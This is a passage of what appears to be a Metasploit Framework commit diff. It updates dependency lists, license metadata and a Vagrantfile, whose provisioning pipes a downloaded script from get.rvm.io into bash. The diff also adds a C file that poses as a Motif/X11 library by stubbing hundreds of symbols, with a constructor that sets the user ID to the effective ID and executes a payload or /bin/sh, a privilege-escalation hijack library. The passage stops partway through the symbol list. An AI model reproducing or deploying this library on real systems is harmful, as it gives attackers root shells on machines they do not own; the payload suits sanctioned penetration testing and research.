metasploit-framework!
|
||||
octokit
|
||||
pry
|
||||
pry-byebug
|
||||
rake
|
||||
redcarpet
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
simplecov
|
||||
rubocop
|
||||
ruby-prof
|
||||
simplecov (= 0.18.2)
|
||||
sqlite3 (~> 1.3.0)
|
||||
swagger-blocks
|
||||
timecop
|
||||
|
||||
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2018, Rapid7, Inc.
|
||||
Copyright: 2006-2020, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
@@ -71,6 +71,10 @@ Files: lib/anemone.rb lib/anemone/*
|
||||
Copyright: 2009 Vertive, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: lib/expect.rb
|
||||
Copyright: 2017 Yukihiro Matsumoto
|
||||
License: Ruby
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
+67
-49
@@ -8,26 +8,28 @@ activesupport, 4.2.11.1, MIT
|
||||
addressable, 2.7.0, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.10.0, MIT
|
||||
aws-eventstream, 1.0.3, "Apache 2.0"
|
||||
aws-partitions, 1.251.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.84.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.123.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.32.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.26.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.59.0, "Apache 2.0"
|
||||
aws-sigv4, 1.1.0, "Apache 2.0"
|
||||
backports, 3.15.0, MIT
|
||||
arel-helpers, 2.11.0, MIT
|
||||
ast, 2.4.0, MIT
|
||||
aws-eventstream, 1.1.0, "Apache 2.0"
|
||||
aws-partitions, 1.310.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.94.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.156.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.36.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.30.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.63.1, "Apache 2.0"
|
||||
aws-sigv4, 1.1.3, "Apache 2.0"
|
||||
bcrypt, 3.1.12, MIT
|
||||
bcrypt_pbkdf, 1.0.1, MIT
|
||||
bindata, 2.4.4, ruby
|
||||
bindata, 2.4.7, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
bson, 4.8.2, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 1.17.3, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
coderay, 1.1.2, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.5, MIT
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.3.1, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.3, "Apache 2.0"
|
||||
@@ -37,109 +39,125 @@ em-http-request, 1.1.5, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 5.1.1, MIT
|
||||
factory_bot_rails, 5.1.1, MIT
|
||||
factory_bot, 5.2.0, MIT
|
||||
factory_bot_rails, 5.2.0, MIT
|
||||
faker, 2.2.1, MIT
|
||||
faraday, 0.17.0, MIT
|
||||
faraday, 1.0.1, MIT
|
||||
faye-websocket, 0.10.9, "Apache 2.0"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
|
||||
http_parser.rb, 0.6.0, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
jaro_winkler, 1.5.4, MIT
|
||||
jmespath, 1.4.0, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.2.0, ruby
|
||||
loofah, 2.4.0, MIT
|
||||
json, 2.3.0, ruby
|
||||
loofah, 2.5.0, MIT
|
||||
memory_profiler, 0.9.14, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.3, "New BSD"
|
||||
metasploit-framework, 5.0.64, "New BSD"
|
||||
metasploit-credential, 3.0.4, "New BSD"
|
||||
metasploit-framework, 5.0.89, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.79, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 1.4.1, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.10, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
metasploit_payloads-mettle, 0.5.21, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.13.0, MIT
|
||||
minitest, 5.14.0, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.3.1, "Apache 2.0"
|
||||
msgpack, 1.3.3, "Apache 2.0"
|
||||
multipart-post, 2.1.1, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 5.2.0, MIT
|
||||
net-ldap, 0.16.2, MIT
|
||||
net-ssh, 6.0.2, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.10.7, MIT
|
||||
octokit, 4.14.0, MIT
|
||||
nokogiri, 1.10.9, MIT
|
||||
octokit, 4.18.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.19.1, MIT
|
||||
parser, 2.7.1.2, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.0, LGPL-2.1
|
||||
pdf-reader, 2.4.0, MIT
|
||||
pg, 0.21.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.12.2, MIT
|
||||
public_suffix, 4.0.1, MIT
|
||||
rack, 1.6.11, MIT
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.4, MIT
|
||||
rack, 1.6.13, MIT
|
||||
rack-protection, 1.5.5, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.9, MIT
|
||||
rails-html-sanitizer, 1.3.0, MIT
|
||||
railties, 4.2.11.1, MIT
|
||||
rainbow, 3.0.0, MIT
|
||||
rake, 13.0.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.6, unknown
|
||||
recog, 2.3.7, unknown
|
||||
redcarpet, 3.5.0, MIT
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.6, "New BSD"
|
||||
rex-core, 0.1.13, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.21, "New BSD"
|
||||
rex-exploitation, 0.1.24, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.83, "New BSD"
|
||||
rex-powershell, 0.1.87, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.21, "New BSD"
|
||||
rex-socket, 0.1.23, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.24, "New BSD"
|
||||
rex-text, 0.2.25, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rexml, 3.2.4, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.9.0, MIT
|
||||
rspec-core, 3.9.0, MIT
|
||||
rspec-expectations, 3.9.0, MIT
|
||||
rspec-mocks, 3.9.0, MIT
|
||||
rspec-rails, 3.9.0, MIT
|
||||
rspec-core, 3.9.2, MIT
|
||||
rspec-expectations, 3.9.1, MIT
|
||||
rspec-mocks, 3.9.1, MIT
|
||||
rspec-rails, 4.0.0, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.9.0, MIT
|
||||
rspec-support, 3.9.3, MIT
|
||||
rubocop, 0.82.0, MIT
|
||||
ruby-macho, 2.2.0, MIT
|
||||
ruby-prof, 1.3.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.10.1, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 1.1.0, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 2.0.0, "Simplified BSD"
|
||||
rubyzip, 2.3.0, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
simplecov, 0.17.1, MIT
|
||||
simplecov-html, 0.10.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.2, MIT
|
||||
sinatra, 1.4.8, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.7.2, "GPLv2+, Ruby 1.8"
|
||||
thor, 0.20.3, MIT
|
||||
thor, 1.0.1, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
tilt, 2.0.10, MIT
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.5, MIT
|
||||
tzinfo-data, 1.2019.3, MIT
|
||||
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.7, MIT
|
||||
tzinfo-data, 1.2020.1, MIT
|
||||
unicode-display_width, 1.7.0, MIT
|
||||
warden, 1.2.7, MIT
|
||||
websocket-driver, 0.7.1, "Apache 2.0"
|
||||
websocket-extensions, 0.1.4, "Apache 2.0"
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.20, MIT
|
||||
yard, 0.9.25, MIT
|
||||
|
||||
Vendored
+2
-2
@@ -3,7 +3,7 @@
|
||||
|
||||
Vagrant.configure(2) do |config|
|
||||
config.ssh.forward_x11 = true
|
||||
config.vm.box = "ubuntu/xenial64"
|
||||
config.vm.box = "ubuntu/bionic64"
|
||||
config.vm.network :forwarded_port, guest: 4444, host: 4444
|
||||
config.vm.provider "vmware" do |v|
|
||||
v.memory = 2048
|
||||
@@ -28,7 +28,7 @@ Vagrant.configure(2) do |config|
|
||||
config.vm.provision "shell", inline: step
|
||||
end
|
||||
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
|
||||
@@ -0,0 +1,3643 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdio.h>
|
||||
#include <dlfcn.h>
|
||||
void __cxa_finalize (void *d) {
|
||||
return;
|
||||
}
|
||||
void __attribute__((constructor)) init() {
|
||||
setresuid(geteuid(), geteuid(), geteuid());
|
||||
execl("#{payload_path}", (char *)NULL, (char *)NULL);
|
||||
execl("/bin/sh", (char *)NULL, (char *)NULL);
|
||||
}
|
||||
int applicationShellClassRec = 0;
|
||||
int applicationShellWidgetClass = 0;
|
||||
int colorConvertArgs = 0;
|
||||
int compositeWidgetClass = 0;
|
||||
int constraintClassRec = 0;
|
||||
int constraintWidgetClass = 0;
|
||||
int coreWidgetClass = 0;
|
||||
int dump_external = 0;
|
||||
int dump_fontlist = 0;
|
||||
int dump_fontlist_cache = 0;
|
||||
int dump_internal = 0;
|
||||
int FcPatternAddInteger = 0;
|
||||
int FcPatternAddString = 0;
|
||||
int FcPatternCreate = 0;
|
||||
int FcPatternDestroy = 0;
|
||||
int GetWidgetNavigPtrs = 0;
|
||||
int InitializeScrollBars = 0;
|
||||
int _ITM_deregisterTMCloneTable = 0;
|
||||
int _ITM_registerTMCloneTable = 0;
|
||||
int jpeg_calc_output_dimensions = 0;
|
||||
int jpeg_CreateDecompress = 0;
|
||||
int jpeg_destroy_decompress = 0;
|
||||
int jpeg_finish_decompress = 0;
|
||||
int jpeg_read_header = 0;
|
||||
int jpeg_read_scanlines = 0;
|
||||
int jpeg_start_decompress = 0;
|
||||
int jpeg_std_error = 0;
|
||||
int jpeg_stdio_src = 0;
|
||||
int load_jpeg = 0;
|
||||
int localeconv = 0;
|
||||
int __longjmp_chk = 0;
|
||||
int nl_langinfo = 0;
|
||||
int NumLockMask = 0;
|
||||
int objectClass = 0;
|
||||
int objectClassRec = 0;
|
||||
int overrideShellClassRec = 0;
|
||||
int png_create_info_struct = 0;
|
||||
int png_create_read_struct = 0;
|
||||
int png_destroy_read_struct = 0;
|
||||
int png_get_channels = 0;
|
||||
int png_get_gAMA = 0;
|
||||
int png_get_IHDR = 0;
|
||||
int png_get_rowbytes = 0;
|
||||
int png_get_valid = 0;
|
||||
int png_init_io = 0;
|
||||
int png_read_end = 0;
|
||||
int png_read_image = 0;
|
||||
int png_read_info = 0;
|
||||
int png_read_update_info = 0;
|
||||
int png_set_expand = 0;
|
||||
int png_set_gamma = 0;
|
||||
int png_set_gray_to_rgb = 0;
|
||||
int png_set_longjmp_fn = 0;
|
||||
int png_set_sig_bytes = 0;
|
||||
int png_set_strip_16 = 0;
|
||||
int png_sig_cmp = 0;
|
||||
int rectObjClass = 0;
|
||||
int rectObjClassRec = 0;
|
||||
int ScrollLockMask = 0;
|
||||
int SetMwmStuff = 0;
|
||||
int T = 0;
|
||||
int topLevelShellWidgetClass = 0;
|
||||
int transientShellClassRec = 0;
|
||||
int transientShellWidgetClass = 0;
|
||||
int V = 0;
|
||||
int vendorShellClassRec = 0;
|
||||
int vendorShellWidgetClass = 0;
|
||||
int W = 0;
|
||||
int __wctomb_chk = 0;
|
||||
int widgetClass = 0;
|
||||
int widgetClassRec = 0;
|
||||
int wmShellClassRec = 0;
|
||||
int wmShellWidgetClass = 0;
|
||||
int XAddExtension = 0;
|
||||
int XAllocColor = 0;
|
||||
int XAllocColorCells = 0;
|
||||
int XAllowEvents = 0;
|
||||
int XBell = 0;
|
||||
int XChangeActivePointerGrab = 0;
|
||||
int XChangeGC = 0;
|
||||
int XChangeProperty = 0;
|
||||
int XChangeWindowAttributes = 0;
|
||||
int XCheckIfEvent = 0;
|
||||
int XCheckMaskEvent = 0;
|
||||
int XClearArea = 0;
|
||||
int XClearWindow = 0;
|
||||
int XCloseDisplay = 0;
|
||||
int XCloseIM = 0;
|
||||
int XConfigureWindow = 0;
|
||||
int XConvertSelection = 0;
|
||||
int XCopyArea = 0;
|
||||
int XCopyPlane = 0;
|
||||
int XCreateBitmapFromData = 0;
|
||||
int XCreateFontCursor = 0;
|
||||
int XCreateGC = 0;
|
||||
int XCreateIC = 0;
|
||||
int XCreateImage = 0;
|
||||
int XCreatePixmap = 0;
|
||||
int XCreatePixmapCursor = 0;
|
||||
int XCreatePixmapFromBitmapData = 0;
|
||||
int XCreateRegion = 0;
|
||||
int XCreateWindow = 0;
|
||||
int XDefaultColormap = 0;
|
||||
int XDefaultDepth = 0;
|
||||
int XDefaultScreen = 0;
|
||||
int XDefaultVisual = 0;
|
||||
int XDefineCursor = 0;
|
||||
int XDeleteContext = 0;
|
||||
int XDeleteProperty = 0;
|
||||
int XDestroyIC = 0;
|
||||
int XDestroyRegion = 0;
|
||||
int XDestroyWindow = 0;
|
||||
int XDisplayKeycodes = 0;
|
||||
int XDisplayOfScreen = 0;
|
||||
int XDisplayString = 0;
|
||||
int XDrawArc = 0;
|
||||
int XDrawImageString = 0;
|
||||
int XDrawImageString16 = 0;
|
||||
int XDrawLine = 0;
|
||||
int XDrawLines = 0;
|
||||
int XDrawPoint = 0;
|
||||
int XDrawRectangle = 0;
|
||||
int XDrawSegments = 0;
|
||||
int XDrawString = 0;
|
||||
int XDrawString16 = 0;
|
||||
int _XEditResGet16 = 0;
|
||||
int _XEditResGet32 = 0;
|
||||
int _XEditResGet8 = 0;
|
||||
int _XEditResGetSigned16 = 0;
|
||||
int _XEditResGetString8 = 0;
|
||||
int _XEditResGetWidgetInfo = 0;
|
||||
int _XEditResPut16 = 0;
|
||||
int _XEditResPut32 = 0;
|
||||
int _XEditResPut8 = 0;
|
||||
int _XEditResPutString8 = 0;
|
||||
int _XEditResPutWidgetInfo = 0;
|
||||
int _XEditResResetStream = 0;
|
||||
int XEmptyRegion = 0;
|
||||
int XEqualRegion = 0;
|
||||
int XESetCloseDisplay = 0;
|
||||
int XExtentsOfFontSet = 0;
|
||||
int XFetchBuffer = 0;
|
||||
int XFillArc = 0;
|
||||
int XFillPolygon = 0;
|
||||
int XFillRectangle = 0;
|
||||
int XFillRectangles = 0;
|
||||
int XFindContext = 0;
|
||||
int XFlush = 0;
|
||||
int XFontsOfFontSet = 0;
|
||||
int XFree = 0;
|
||||
int XFreeColors = 0;
|
||||
int XFreeCursor = 0;
|
||||
int XFreeFont = 0;
|
||||
int XFreeFontNames = 0;
|
||||
int XFreeGC = 0;
|
||||
int XFreeModifiermap = 0;
|
||||
int XFreePixmap = 0;
|
||||
int XFreeStringList = 0;
|
||||
int XftDrawCreate = 0;
|
||||
int XftDrawCreateBitmap = 0;
|
||||
int XftDrawDestroy = 0;
|
||||
int XftDrawRect = 0;
|
||||
int XftDrawSetClip = 0;
|
||||
int XftDrawSetClipRectangles = 0;
|
||||
int XftDrawString16 = 0;
|
||||
int XftDrawString32 = 0;
|
||||
int XftDrawStringUtf8 = 0;
|
||||
int XftFontClose = 0;
|
||||
int XftFontMatch = 0;
|
||||
int XftFontOpenPattern = 0;
|
||||
int XftTextExtents16 = 0;
|
||||
int XftTextExtents32 = 0;
|
||||
int XftTextExtents8 = 0;
|
||||
int XftTextExtentsUtf8 = 0;
|
||||
int XGetAtomName = 0;
|
||||
int XGetFontProperty = 0;
|
||||
int XGetGCValues = 0;
|
||||
int XGetGeometry = 0;
|
||||
int XGetICValues = 0;
|
||||
int XGetImage = 0;
|
||||
int XGetIMValues = 0;
|
||||
int XGetInputFocus = 0;
|
||||
int XGetKeyboardMapping = 0;
|
||||
int XGetModifierMapping = 0;
|
||||
int XGetOCValues = 0;
|
||||
int XGetOMValues = 0;
|
||||
int XGetSelectionOwner = 0;
|
||||
int XGetWindowAttributes = 0;
|
||||
int XGetWindowProperty = 0;
|
||||
int XGetWMColormapWindows = 0;
|
||||
int XGrabKeyboard = 0;
|
||||
int XGrabPointer = 0;
|
||||
int XGrabServer = 0;
|
||||
int XHeightOfScreen = 0;
|
||||
int xiColumnConstraintExtension = 0;
|
||||
int XiCreateStippledPixmap = 0;
|
||||
int _XiGetTabIndex = 0;
|
||||
int XIMOfIC = 0;
|
||||
int XInstallColormap = 0;
|
||||
int XInternAtom = 0;
|
||||
int XInternAtoms = 0;
|
||||
int XIntersectRegion = 0;
|
||||
int XiReleaseStippledPixmap = 0;
|
||||
int _XiResolveAllPartOffsets = 0;
|
||||
int XiResolveAllPartOffsets = 0;
|
||||
int XKeysymToKeycode = 0;
|
||||
int XKeysymToString = 0;
|
||||
int XLastKnownRequestProcessed = 0;
|
||||
int XListFonts = 0;
|
||||
int XListInstalledColormaps = 0;
|
||||
int XLoadQueryFont = 0;
|
||||
int XLookupString = 0;
|
||||
int Xm18IListUnselectAllItems = 0;
|
||||
int Xm18IListUnselectItem = 0;
|
||||
int _XmAccessColorData = 0;
|
||||
int XmActivateProtocol = 0;
|
||||
int _XmAddCallback = 0;
|
||||
int _XmAddGrab = 0;
|
||||
int _XmAddHashEntry = 0;
|
||||
int XmAddProtocolCallback = 0;
|
||||
int XmAddProtocols = 0;
|
||||
int _Xm_AddQueue = 0;
|
||||
int XmAddTabGroup = 0;
|
||||
int _XmAddTearOffEventHandlers = 0;
|
||||
int _XmAddToColorCache = 0;
|
||||
int XmAddToPostFromList = 0;
|
||||
int _XmAllocHashTable = 0;
|
||||
int _XmAllocMotifAtom = 0;
|
||||
int _XmAllocReceiverInfo = 0;
|
||||
int _XmAllocScratchPixmap = 0;
|
||||
int _XmAllowAcceleratedInsensitiveUnmanagedMenuItems = 0;
|
||||
int XMapRaised = 0;
|
||||
int XMapWindow = 0;
|
||||
int _XmArrowB_defaultTranslations = 0;
|
||||
int xmArrowButtonClassRec = 0;
|
||||
int xmArrowButtonGadgetClass = 0;
|
||||
int xmArrowButtonGadgetClassRec = 0;
|
||||
int xmArrowButtonWidgetClass = 0;
|
||||
int _XmArrowPixmapCacheCompare = 0;
|
||||
int _XmArrowPixmapCacheDelete = 0;
|
||||
int _XmAssignInsensitiveColor = 0;
|
||||
int _XmAssignLabG_MarginBottom = 0;
|
||||
int _XmAssignLabG_MarginHeight = 0;
|
||||
int _XmAssignLabG_MarginLeft = 0;
|
||||
int _XmAssignLabG_MarginRight = 0;
|
||||
int _XmAssignLabG_MarginTop = 0;
|
||||
int _XmAssignLabG_MarginWidth = 0;
|
||||
int XMaxRequestSize = 0;
|
||||
int _XmBackgroundColorDefault = 0;
|
||||
int _XmBaseClassPartInitialize = 0;
|
||||
int _XmBB_CreateButtonG = 0;
|
||||
int _XmBB_CreateLabelG = 0;
|
||||
int _XmBB_GetDialogTitle = 0;
|
||||
int _XmBBUpdateDynDefaultButton = 0;
|
||||
int XmbDrawImageString = 0;
|
||||
int XmbDrawString = 0;
|
||||
int _XmBlackPixel = 0;
|
||||
int XmbLookupString = 0;
|
||||
int _XmBottomShadowColorDefault = 0;
|
||||
int XmbResetIC = 0;
|
||||
int XmbTextEscapement = 0;
|
||||
int XmbTextExtents = 0;
|
||||
int XmbTextListToTextProperty = 0;
|
||||
int XmbTextPropertyToTextList = 0;
|
||||
int _XmBuildExtResources = 0;
|
||||
int _XmBuildGadgetResources = 0;
|
||||
int _XmBuildManagerResources = 0;
|
||||
int _XmBuildPrimitiveResources = 0;
|
||||
int _XmBuildResources = 0;
|
||||
int _XmBulletinB_defaultTranslations = 0;
|
||||
int _XmBulletinBoardCancel = 0;
|
||||
int xmBulletinBoardClassRec = 0;
|
||||
int _XmBulletinBoardFocusMoved = 0;
|
||||
int _XmBulletinBoardMap = 0;
|
||||
int _XmBulletinBoardReturn = 0;
|
||||
int _XmBulletinBoardSetDefaultShadow = 0;
|
||||
int _XmBulletinBoardSetDynDefaultButton = 0;
|
||||
int _XmBulletinBoardSizeUpdate = 0;
|
||||
int xmBulletinBoardWidgetClass = 0;
|
||||
int xmButtonBoxClassRec = 0;
|
||||
int xmButtonBoxWidgetClass = 0;
|
||||
int _XmButtonPopdownChildren = 0;
|
||||
int _XmButtonTakeFocus = 0;
|
||||
int _XmByteOrderChar = 0;
|
||||
int _XmCacheCopy = 0;
|
||||
int _XmCacheDelete = 0;
|
||||
int _XmCachePart = 0;
|
||||
int _XmCachePixmap = 0;
|
||||
int _XmCalcLabelDimensions = 0;
|
||||
int _XmCalcLabelGDimensions = 0;
|
||||
int _XmCallCallbackList = 0;
|
||||
int _XmCallFocusMoved = 0;
|
||||
int _XmCallRowColumnMapCallback = 0;
|
||||
int _XmCallRowColumnUnmapCallback = 0;
|
||||
int _XmCascadeB_menubar_events = 0;
|
||||
int _XmCascadeB_p_events = 0;
|
||||
int _XmCascadeBPrimClassExtRec = 0;
|
||||
int xmCascadeButtonClassRec = 0;
|
||||
int xmCascadeButtonGadgetClass = 0;
|
||||
int xmCascadeButtonGadgetClassRec = 0;
|
||||
int XmCascadeButtonGadgetHighlight = 0;
|
||||
int xmCascadeButtonGCacheObjClassRec = 0;
|
||||
int XmCascadeButtonHighlight = 0;
|
||||
int xmCascadeButtonWidgetClass = 0;
|
||||
int _XmCascadingPopup = 0;
|
||||
int _XmCBHelp = 0;
|
||||
int _XmCBNameActivate = 0;
|
||||
int _XmCBNameValueChanged = 0;
|
||||
int XmChangeColor = 0;
|
||||
int _XmChangeHSB = 0;
|
||||
int _XmChangeNavigationType = 0;
|
||||
int _XmChangeVSB = 0;
|
||||
int _XmCharsetCanonicalize = 0;
|
||||
int _XmCleanPixmapCache = 0;
|
||||
int _XmClearBCompatibility = 0;
|
||||
int _XmClearBGCompatibility = 0;
|
||||
int _XmClearBGPixmapName = 0;
|
||||
int _XmClearBorder = 0;
|
||||
int _XmClearDisplayTables = 0;
|
||||
int _XmClearDragReceiverInfo = 0;
|
||||
int _XmClearFocusPath = 0;
|
||||
int _XmClearIconPixmapName = 0;
|
||||
int _XmClearKbdFocus = 0;
|
||||
int _XmClearRect = 0;
|
||||
int _XmClearShadowType = 0;
|
||||
int _XmClearTabGroup = 0;
|
||||
int _XmClearTraversal = 0;
|
||||
int XmClipboardBeginCopy = 0;
|
||||
int XmClipboardCancelCopy = 0;
|
||||
int XmClipboardCopy = 0;
|
||||
int XmClipboardCopyByName = 0;
|
||||
int XmClipboardEndCopy = 0;
|
||||
int XmClipboardEndRetrieve = 0;
|
||||
int XmClipboardInquireCount = 0;
|
||||
int XmClipboardInquireFormat = 0;
|
||||
int XmClipboardInquireLength = 0;
|
||||
int XmClipboardInquirePendingItems = 0;
|
||||
int XmClipboardLock = 0;
|
||||
int _XmClipboardPassType = 0;
|
||||
int XmClipboardRegisterFormat = 0;
|
||||
int XmClipboardRetrieve = 0;
|
||||
int XmClipboardStartCopy = 0;
|
||||
int XmClipboardStartRetrieve = 0;
|
||||
int XmClipboardUndoCopy = 0;
|
||||
int XmClipboardUnlock = 0;
|
||||
int XmClipboardWithdrawFormat = 0;
|
||||
int xmClipWindowClassRec = 0;
|
||||
int _XmClipWindowTranslationTable = 0;
|
||||
int xmClipWindowWidgetClass = 0;
|
||||
int _XmColorObjCache = 0;
|
||||
int _XmColorObjCacheDisplay = 0;
|
||||
int xmColorObjClass = 0;
|
||||
int xmColorObjClassRec = 0;
|
||||
int _XmColorObjCreate = 0;
|
||||
int xmColorSelectorClassRec = 0;
|
||||
int xmColorSelectorWidgetClass = 0;
|
||||
int xmColumnClassRec = 0;
|
||||
int xmColumnWidgetClass = 0;
|
||||
int xmCombinationBox2ClassRec = 0;
|
||||
int XmCombinationBox2GetArrow = 0;
|
||||
int XmCombinationBox2GetChild = 0;
|
||||
int XmCombinationBox2GetLabel = 0;
|
||||
int XmCombinationBox2GetList = 0;
|
||||
int XmCombinationBox2GetText = 0;
|
||||
int XmCombinationBox2GetValue = 0;
|
||||
int xmCombinationBox2WidgetClass = 0;
|
||||
int XmCombinationBoxGetValue = 0;
|
||||
int XmComboBoxAddItem = 0;
|
||||
int xmComboBoxClassRec = 0;
|
||||
int _XmComboBox_defaultAccelerators = 0;
|
||||
int _XmComboBox_defaultTranslations = 0;
|
||||
int XmComboBoxDeletePos = 0;
|
||||
int _XmComboBox_dropDownComboBoxAccelerators = 0;
|
||||
int _XmComboBox_dropDownListTranslations = 0;
|
||||
int XmComboBoxSelectItem = 0;
|
||||
int XmComboBoxSetItem = 0;
|
||||
int _XmComboBox_textFocusTranslations = 0;
|
||||
int XmComboBoxUpdate = 0;
|
||||
int xmComboBoxWidgetClass = 0;
|
||||
int XmCommandAppendValue = 0;
|
||||
int xmCommandClassRec = 0;
|
||||
int XmCommandError = 0;
|
||||
int XmCommandGetChild = 0;
|
||||
int _XmCommandReturn = 0;
|
||||
int XmCommandSetValue = 0;
|
||||
int _XmCommandUpOrDown = 0;
|
||||
int xmCommandWidgetClass = 0;
|
||||
int XmCompareISOLatin1 = 0;
|
||||
int XmCompareXtWidgetGeometry = 0;
|
||||
int XmCompareXtWidgetGeometryToWidget = 0;
|
||||
int _XmComputeVisibilityRect = 0;
|
||||
int _XmConfigureObject = 0;
|
||||
int _XmConfigureWidget = 0;
|
||||
int xmContainerClassRec = 0;
|
||||
int XmContainerCopy = 0;
|
||||
int XmContainerCopyLink = 0;
|
||||
int XmContainerCut = 0;
|
||||
int _XmContainer_defaultTranslations = 0;
|
||||
int XmContainerGetItemChildren = 0;
|
||||
int XmContainerPaste = 0;
|
||||
int XmContainerPasteLink = 0;
|
||||
int XmContainerRelayout = 0;
|
||||
int XmContainerReorder = 0;
|
||||
int _XmContainer_traversalTranslations = 0;
|
||||
int xmContainerWidgetClass = 0;
|
||||
int _XmConvertActionParamToRepTypeId = 0;
|
||||
